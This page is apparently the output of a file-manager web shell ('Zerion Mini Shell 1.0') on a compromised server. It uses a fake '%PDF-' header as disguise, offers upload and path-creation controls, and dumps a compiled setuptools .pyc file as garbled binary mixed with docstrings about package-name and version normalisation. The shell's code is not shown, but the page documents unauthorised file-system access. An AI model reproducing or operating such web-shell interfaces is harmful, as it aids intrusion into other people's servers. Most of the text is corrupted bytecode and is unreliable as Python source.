%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/__pycache__/_normalization.cpython-312.pyc

�


_�dz��2�dZddlZddlmZddlmZddlmZddlm	Z	ee
efZejdej�Zejd	ej�Zd
e
de
fd�Zd
e
de
fd�Zde
de
fd�Zde
de
fd�Zde
de
fd�Zde
de
fd�Zde
de
fd�Zy)zZ
Helpers for normalization as expected in wheel/sdist/module file names
and core metadata
�N)�Path)�Union�)�	packaging)�SetuptoolsDeprecationWarningz)^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$z[^A-Z0-9.]+�name�returnc�X�tjdd|�}|j�sJ�|S)z�Make a string safe to be used as Python identifier.
    >>> safe_identifier("12abc")
    '_12abc'
    >>> safe_identifier("__editable__.myns.pkg-78.9.3_local")
    '__editable___myns_pkg_78_9_3_local'
    z
\W|^(?=\d)�_)�re�sub�isidentifier)r�safes  �;/usr/lib/python3/dist-packages/setuptools/_normalization.py�safe_identifierrs-���6�6�-��d�+�D��������K��	componentc�.�tjd|�S)z�Escape a component used as a project name according to Core Metadata.
    >>> safe_name("hello world")
    'hello-world'
    >>> safe_name("hello?world")
    'hello-world'
    �-)�_UNSAFE_NAME_CHARSr
)rs r�	safe_namers���!�!�#�y�1�1r�versionc�:�|jdd�}	ttjj	|��S#tjj
$rAtjd|�}ttjj	|��cYSwxYw)a�Convert an arbitrary string into a valid version string.
    >>> safe_version("1988 12 25")
    '1988.12.25'
    >>> safe_version("v0.2.1")
    '0.2.1'
    >>> safe_version("v0.2?beta")
    '0.2b0'
    >>> safe_version("v0.2 beta")
    '0.2b0'
    >>> safe_version("ubuntu lts")
    Traceback (most recent call last):
    ...
    setuptools.extern.packaging.version.InvalidVersion: Invalid version: 'ubuntu.lts'
    � �.r)�replace�strrr�Version�InvalidVersionrr
)r�v�attempts   r�safe_versionr"*s~��	����S�!�A�7��9�$�$�,�,�Q�/�0�0�����+�+�7�$�(�(��a�0���9�$�$�,�,�W�5�6�6�7�s�'<�AB�Bc���	t|�S#tjj$rAt	j
d|�d�d|�d�dd��|j
dd�}t|�cYSwxYw)	aConvert an arbitrary string into a version-like string.
    >>> best_effort_version("v0.2 beta")
    '0.2b0'

    >>> import warnings
    >>> warnings.simplefilter("ignore", category=SetuptoolsDeprecationWarning)
    >>> best_effort_version("ubuntu lts")
    'ubuntu.lts'
    zInvalid version: rz
            Version z� is not valid according to PEP 440.

            Please make sure to specify a valid version for your package.
            Also note that future releases of setuptools may halt the build process
            if an invalid version is given.
            z!https://peps.python.org/pep-0440/)i��	�)�see_url�due_dater)r"rrrr�emitrr)rr s  r�best_effort_versionr)As����G�$�$�����+�+��$�)�)���{�!�,���K� 
�
�8�"�	
�
�O�O�C��%����|���s�

�AA+�*A+�valuec�D�|jdd�jd�S)z�Normalize each component of a filename (e.g. distribution/version part of wheel)
    Note: ``value`` needs to be already normalized.
    >>> filename_component("my-pkg")
    'my_pkg'
    rr)r�strip�r*s r�filename_componentr._s ���=�=��c�"�(�(��-�-rc�*�tt|��S)zBLike ``safe_name`` but can be used as filename component for wheel)r.rr-s r�
safer_namer0hs���i��.�/�/rc�*�tt|��S)zLLike ``best_effort_version`` but can be used as filename component for wheel)r.r)r-s r�safer_best_effort_versionr2ns���1�%�8�9�9r)�__doc__r�pathlibr�typingr�externr�warningsrr�_Path�compile�I�_VALID_NAMErrrr"r)r.r0r2�rr�<module>r=s����
����2�
�c�4�i����b�j�j�E�r�t�t�L���R�Z�Z�����5��	�#�	�#�	�2��2��2�7�#�7�#�7�.�����<.�c�.�c�.�0�c�0�c�0�:�S�:�S�:r

Zerion Mini Shell 1.0